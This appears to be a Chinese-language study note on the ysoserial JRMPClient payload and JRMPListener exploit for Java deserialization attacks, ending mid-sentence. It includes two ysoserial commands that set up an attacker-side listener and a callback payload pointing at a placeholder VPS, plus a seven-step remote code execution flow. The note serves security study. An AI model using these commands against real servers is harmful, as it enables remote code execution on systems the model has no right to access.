简介
payloads/JRMPClient 生存的 payload 是发送给目标机器的,exploit/JRMPListener 是在自己服务器上使用的,payloads/JRMPClient 的利用,离不开 exploit/JRMPListener ,反之 exploit/JRMPListener 的利用,在上篇文章中,它是可以独立使用的
这篇文章是记录 payloads/JRMPClient 的分析流程,还会结合 exploit/JRMPListener 一起分析
利用流程
网上见到的利用方式:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollecitons1 'calc.exe'
java -jar ysoserial.jar JRMPClient 'vpsIP:PORT' > vulrServer
这个payloads/JRMPClient 是结合 exploit/JRMPListener 使用的(还没看exploit/JRMPClient)
在自己的 vps 上挂起 exploit/JRMPListener (可自定义反序列化 payload)。
将 payloads/JRMPClient 生成的 payload (指定自己vps的IP和端口)发送到漏洞服务器上,反序列化时,将会根据 JRMP 协议反向连接 vps ,在通信的同时,vps 会将指定好的payload 序列化后再次发送到漏洞服务器上,利用正在与 vps 上 exploit/JRMPListener 通信的 JRMPClient 第二次反序列化 vps 发送过来的payload,从而造成 RCE
攻击流程:
vps 跑起 exploit/JRMPListener ,并指定生成 payload1
2.向漏洞服务器发送 payloads/JRMPClient 生成的 payload2
3.漏洞服务器反序列化 payload2
4.反序列化 payload2 的过程中,将会与 exploit/JRMPListener 进行通信
5.exploit/JRMPListener 自定义了来自任意 JRMP client 的通信处理流程,会将 payload1 返馈给漏洞服务器
6.漏洞服务器会根据 exploit/JRMPListener 设计的通信处理流程,进一步反序列化 payload1
7.payload1 中包含了 RCE 的gadget构造,最终在漏洞服务器上执行任意代码
payload1 中主要利用通用库比如 commons-collections 等
payload2 中主要利用漏洞服务器自带的 jre 中绝对含有的 RMI 相关的gadget
(payload2需要满足两个条件,1:反连vps ,2:第二次反序列化)
(但是和利用漏洞服务器已经开启 RMI server 的 RMI gadget 不同(原理差不多